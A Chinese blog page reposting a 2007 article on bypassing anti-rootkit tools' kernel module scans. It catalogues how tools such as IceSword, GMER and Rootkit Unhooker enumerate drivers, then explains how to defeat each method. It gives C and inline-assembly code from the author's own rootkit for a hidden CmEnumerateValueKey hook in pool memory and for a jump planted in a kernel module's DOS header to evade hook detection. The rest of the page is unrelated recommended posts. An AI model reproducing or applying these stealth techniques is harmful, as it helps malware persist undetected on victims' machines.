绕过现代Anti-Rookit工具的内核模块扫描

Anti Rookit -- 检测隐藏进程 检测隐藏进程除了众所周知的枚举进程ID之外,还有枚举句柄表的方式。不过今天给大家带来的是第三种方法。 阅读详情
创建时间:2007-10-24 更新时间:2007-10-25
文章属性:原创
文章提交: MJ0011 (tyjaaa_at_163.com)

绕过现代Anti-Rookit工具的内核模块扫描
(Bypass modern anti-rootkit tools's kernel mode scan)

MJ0011
th_decoder@126.com
2007-10-24


本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等


目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:

1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举
例如Rootkit Unhooker,Gmer等

3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image

4.函数引用,各种routine/hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等

5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等


先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,

那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2

在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码

函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活

相关代码:
//hook call CmEnumerateValueKey

void InstallCMRegHook()
{
    PVOID _CmEnumerateKeyValueLoc ;
    

    _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
    //找到 call CmEnumerateValueKey

    HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
    //获得NewCmEnumerateValueKey长度

    HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
    HookCodeLen + 4 ,
    MEM_TAG_HOOKCODE3);
    
    //分配内存

    *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
    
    //原函数地址放入内存

    RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);

    //copy函数代码

    DO_SPINLOCK();
    *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);

    //进行HOOK

    EXIT_SPINLOCK();
    return ;
    
}

NTSTATUS NewCmEnumearateValueKey(IN PVOID    KeyControlBlock,
    IN ULONG Index,
    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
    IN PVOID KeyValueInformation,
    IN ULONG KeyLength,
    IN PULONG ResultLength
    )
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

    __asm
    {
        push    eax
        call    __
__:
        POP        eax
        SUB        eax,offset __
        add        eax,offset NewCmEnumearateValueKey

;获得函数开始地址

        sub        eax,4    
        mov        eax,[eax]

;获得OrgCmEnumerateValueKey

        push    ResultLength
        push    KeyLength
        push    KeyValueInformation
        push    KeyValueInformationClass
        push    Index
        push    KeyControlBlock
        call    eax    
        mov        stat, eax
;调用原始函数
        pop        eax
    }

//.....其他处理
//
//.....
}


void NopFunc8()
{
    __asm
    {
        nop
        nop
        nop
    }
    return ;
}

//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位


这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE搜索(因为我们压根就没有PE镜象,just one piece of code~)...

接下来看如何绕过4.中的检测方式

1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是数据过滤/处理部分,所以完全可以一个系统函数也不调...

2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit  unhooker, gmer等

只要我们先使用这样的方法,就可以绕过检测,让Anti-rootkit工具不知道是我们的模块HOOK了这里:

先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中

通过这种方法也可以绕过对dispatch hook/object hook的检测

inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 ^-^

即使Anti-rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)

一个简单的双段跳绕过object hook检测的代码:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK:
ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode )
{
//该函数用于将hook代码转接到模块的DOS头中

    //in :NewAddress: real hookcode to jump
    //in :ModuleName: kernel module base address to inject
    //out :NewJump Address


ULONG TempCode = BaseCode ;

    TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ;
    //into DOS stub

    DO_SPINLOCK();
    WPOFF();
    
    *(BYTE*)TempCode = 0xe9 ;
    __asm
    {
        push    eax
        push    ecx
        mov        ecx, TempCode
        mov        eax, NewAddress
        sub        eax, ecx
        sub        eax, 5
        mov        dword ptr[ecx+1] , eax
        pop        ecx
        pop        eax
    }
    
    WPON();
    EXIT_SPINLOCK();

    //write jmp NewAddress into DOS stub
    return TempCode ;

    


    
}  
大数问题(循环求余/快速幂求余/快速幂问题) 大数问题1.大数求余问题解题思路1.1循环求余O(n)O(n)O(n)1.2.快速幂求余O(log⁡n)O(\log n)O(logn)2.快速幂问题解题思路 1.大数求余问题 在仅使用int32类型存储的前提下,正确计算xax^axa对ppp的求余(xax^a%pxa)的值。 P.S. 虽然在Python中不会涉及到大数问题(Python中没有int32类型,若要使用32位整型,需要x = x & 0xffffffff),但也在此记录下。 解题思路 首先,我们有3个余数定理: (a+b)%c=( 阅读详情

相关推荐

Day12:求余运算

求余运算,也称为模运算,是一种数学运算,用于计算两个数相除后的余数。在Python中,使用百分号符号 `%` 来表示求余运算。

AIGC 912

绕过Anti-Rookit的内核模块扫描技巧

本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等  目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:  1.恢复ZwQuerySystemInformation的hook,然

liwei8703的专栏 844

一款手工杀毒/Anti-rootkit工具-ixer 0.11开源版

一款手工杀毒/Anti-rootkit工具-ixer 0.11开源版 核心功能: 1. 进程、线程、进程Dll模块的枚举与检测,强杀进程、线程、卸载模块等功能 2. 内核驱动枚举与检测,定位、删除驱动文件等 3. SSDT的检测和恢复 4. Shadow SSDT的检测和恢复 5. 消息钩子的枚举和卸载 6. 注册表枚举和删除 7. 文件枚举和删除 8. 网络端口枚举、终止进程 此作品不仅能够用于个人电脑上作为手工查杀的辅助工具,还能作为计算机安全人员研究rootkit的参考工具,本工具为作者学习windows内核驱动安全编程写的工具,内心功能大都是用内核驱动实现的。实现了Anti-rootkit部分功能模块,作为ARK工具尚欠完善,但可作学习参考研究,高手请飘过。为了发扬开源精神,广交好友,作品工程项目面对所有网友开源! 希望能够帮助到像作者一样热衷于windows内核安全的刚起步的晚辈们,在研究参考或开发过程中有遇到技术瓶颈可以联系作者研究学习讨论,作者也很期待能广交各路豪友。 开发环境: 界面: MFC(C/C++) /Microsoft Visual C++ 6.0 驱动: C、汇编 /Microsoft Visual Studio 2008 + WDK 7600.16385.1

绕过目前主流的现代Anti-rootkit工具

本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等  目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:  1.恢复ZwQuerySystemInformation的hook,然

yaneng的专栏 8608

AntiRootkit工具-XueTr 吾爱破解论坛专版2010.11.30更新

一个强大的手工杀毒工具,支持32位的2000、xp、2003、vista、2008和Win7操作系统。 目前实现如下功能: 1.进程、线程、进程模块、进程窗口、进程内存、定时器、热键信息查看,杀进程、杀线程、卸载模块等功能 2.内核驱动模块查看,支持内核驱动模块的内存拷贝 3.SSDT、Shadow SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT、GDT信息查看,并能检测和恢复ssdt hook和inline hook 4.CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify Routine信息查看,并支持对这些Notify Routine的删除 5.端口信息查看,目前不支持2000系统 6.查看消息钩子 7.内核模块的iat、eat、inline hook、patches检测和恢复 8.磁盘、卷、键盘、网络层等过滤驱动检测,并支持删除 9.注册表编辑 10.进程iat、eat、inline hook、patches检测和恢复 11.文件系统查看,支持基本的文件操作 12.查看(编辑)IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME 13.ObjectType Hook检测和恢复 14.DPC定时器检测和删除 15.MBR Rootkit检测和修复 16.内核对象劫持检测 17.WorkerThread枚举

ROOKIT后门工具

网络技术后门工具。检测,比较好的工具。欢迎使用

由最快判断整数奇偶法的联想(快速求余)

      在传统上我们判断一个整数的奇偶性都是用模2的方法。此方法准确无误,但不是最快的方法。现在我们讨论整数的二进制存法。      假设一个数a,它由8个二进制来存储。如下:           a=a0a1a2a3a4a5a6a7;          a=2^7*a0+2^6*a1+2^5*a2+2^4*a3+2^3*a4+2^2*a5+2*a6+a7;我们很容易的发现2^

wjh_monkey的博客 1433

PARK_M物理模型

NULL 博文链接:https://ukao.iteye.com/blog/1638324

【求余的妙用:从奇偶判断到编程魔法】

求余运算在数学和编程中具有广泛的应用价值。文章首先介绍了其判断奇偶数的基础用法,通过%2运算快速确定数字属性。随后深入探讨了求余运算在循环数组处理中的关键作用,能有效实现数组元素的循环访问;在解决时钟等周期性问题时的精准定位能力;以及在数据分组整理中的高效应用。

qq_48002970的博客 927

Rootkits_Windows内核的安全防护 电子书及源码

Rootkits_Windows内核的安全防护是一本介绍Rookits的经典之作,适合入门使用,该资源中包含了中文电子书影印版,英文文字版以及源代码。希望对大家有所帮助 百科介绍:  本书是目前第一本关于rootkit的详尽指南,包括rootkit的概念、它们是怎样工作的、如何构建和检测它们。世界顶级软件安全专家、创始人GregHoglund和JamesButler向大家详细介绍攻击者是如何进入系统并长期驻留而不会被检测到的,以及黑客是如何摧毁WindowsXP和Windows2000内核系统的,其概念可以应用于现代任何主流操作系统。通过本书,读者可以全面掌握rootkit,提升自己的安全防范能力。

Bootloader详解,理解Bootloader看这篇就够了

这里写目录标题一、Bootloader作用(目的)二、完成Boot最终目的的前提条件三、对前提条件的详细说明3.1、对前提条件(1)的说明:3.2、对前提条件(2)的说明:3.3、对前提条件(3)的说明:3.4、对前提条件(4)的说明:3.4、对前提条件(5)的说明:四、loader是干啥的 一、Bootloader作用(目的) Bootloader=Boot + loader Boot的目的: 最终目的:跳到C语言中;为了C语言运行程序会进行一系列的初始化,系统一上电后如何通过一系列的设置让软件程序员

iduuigdg的博客 11万+

奇偶数判断

给定一个整数,判断该数是奇数还是偶数。

✨ 欢迎来到【Seal ^_^ 的优快云博客】!✨ 7863

Sentaurus TCAD 修改字体

如题

努力学习的IC小白 5764

函数题 6-12 判断奇偶性【PAT】

函数题 6-12 判断奇偶性

绯樱殇雪的博客 1334

安卓端目标检测模型部署血泪史:从NCNN/TFLite/MNN全军覆没到Torchscipts终见光明

公司需在Android设备部署目标检测模型,要求: ✅ 实时检测速度≥15FPS ✅ 模型精度损失<5% ✅ 兼容中低端安卓设备👉 GitHub项目地址:pytorch/android-demo-app/ObjectDetection我已上传这份源码到csdn下载准备模型(必须走这步才能跑通安卓端源码)如果您没有设置PyTorch环境来运行该脚本,可以下载模型文件此处转到“android演示app/ObjectDetection/app/src/main/assets”文件夹,然后跳过此步骤的其余部分,直

机器学习、深度学习、强化学习、迁移学习 1576

S7-200 SMART PLC 数字量阀门控制功能块(FB)汇总

S7-200 SMART PLC功能块的各种写法可以查看专栏的其它文章,链接地址如下:S7-200 SMART PLC 子程序功能块(阀门控制)_RXXW_Dor的博客-优快云博客_plc控制阀门开关程序由于S7-200 SMARTPLC的子程序种种功能、容量限制,有时想实现多次调用的子程序可能并不是太容易,这篇博客还是给出一些推荐写法,供大家参看。

RXXW_Dor的博客 4003

python判断整数的奇偶性_你不知道的:整数的奇偶性判断

1奇偶性奇数可以被定义成被2整除余1的整数。于是想到用语言实现用求模取余即可:i%2==1,但是这样会不会有什么问题呢?看下面的例子:public class IsOdd {public static boolean isOdd(int i){return i%2 == 1;}public static void main(String[] args){System.out.println(isO...

weixin_39595302的博客 2765

GeoXCP:可解释人工智能中空间解释的不确定性量化

GeoXCP: uncertainty quantification of spatial explanations in explainable AI提出基于保形预测(conformal prediction)的不确定性量化框架——地理空间解释保形预测(GeoXCP),将空间依赖纳入建模过程,生成具有校准不确定性估计的空间自适应解释。通过大量模拟实验和真实世界数据集验证,GeoXCP在不同地理空间场景中能提供可靠解释并有效量化不确定性,推动可解释地理空间机器学习的发展,帮助决策者评估模型驱动洞察的可信度。

May the Force be with you 243

JS实现奇偶数的判断

奇数和偶数的判断是数学运算中经常碰到的问题,比如:有变量x,如果x=1则为奇数,为2则为偶数。这篇文章主要讲解通过JavaScript来实现奇偶数的判断。 方法一、求余% if…else的形式: var num = parseInt(prompt('请输入数字'));//请输入数字 if((num%2)===0){//判定条件余数为0时为偶数 alert(num + '是' + ...

巧克力很苦的小博客 2万+

IM 系统设计:仿微信架构,Netty + Protobuf + WebSocket 如何支撑百万级长连接?

相比 JSON,Protobuf 的体积通常只有前者的 1/5 到 1/10,且解析速度快一个数量级。// 消息类型:1-登录,2-心跳,3-单聊,4-群聊,5-ACK// 发送方ID// 接收方ID// 消息内容// 时间戳// 消息唯一ID,用于去重和ACK。

BUG猿的博客 1381

OpenClaw 2026.3.13 踩坑实录:飞书HTTP协议降级Bug与多版本回归问题汇总

摘要:OpenClaw v2026.3.13存在多个严重回归问题,包括飞书API调用协议意外降级为HTTP导致连接失败(#46100)、本地Gateway诊断矛盾(#45504)及设备配对CLI命令失效等。该版本发布流程本身也存在异常,被迫以v2026.3.13-1标签重新发布。建议飞书用户回退至v2026.3.8稳定版,其他用户谨慎升级。本文详细记录了各Bug现象、影响范围及临时解决方案,并梳理了飞书通道的"多版本回归史",指出其根源在于架构变迁和测试覆盖不足。最后提供了包含配置备份、

Maynor的博客 870

Java 求余操作符

百分号(%)是求余操作符。22%5即从22中拿走5,再拿走5...不够拿走,就余下了4。

yqj2065的博客 1136

OpenCV-Python实战(1)——OpenCV简介与图像处理基础

OpenCV 是一个的跨平台计算机视觉库,可以运行在 Linux、Windows 和 Mac OS 操作系统上。它轻量级而且高效——由一系列 C 函数和少量 C++ 类构成,同时也提供了 Python 接口,实现了图像处理和计算机视觉方面的很多通用算法。在本文中,将介绍 OpenCV 库,包括它的主要模块和典型应用场景,同时使用 OpenCV-Python 实战讲解图像处理基础要点。

盼小辉丶的博客 27万+

使用位运算判断奇偶性

平时在做奇偶数判定时,往往采用对2取余看结果是0和1的方式来判断,但这种方法不仅慢,而且有局限性,因为奇偶数的定义是: 整数中,能被2整除的数是偶数,不能被2整除的数是奇数 整数不仅包括0和整数,而且也包括负整数,这种方式如果是根据取余结果来判断是否为0来判断偶数、奇数的话还是可以的,但是如果用1来判定的就糟了(因为负奇数对2取余结果为-1)。其实将整数用二进制表示后,可以很方便的进行奇偶性的...

Michael Hsu 7720

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

上一篇: 仿腾讯 QQ 和 Skype 通过URL触发自己的程序
下一篇: MS08-001 - The case of the missing Windows Server 2003 attack vector
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值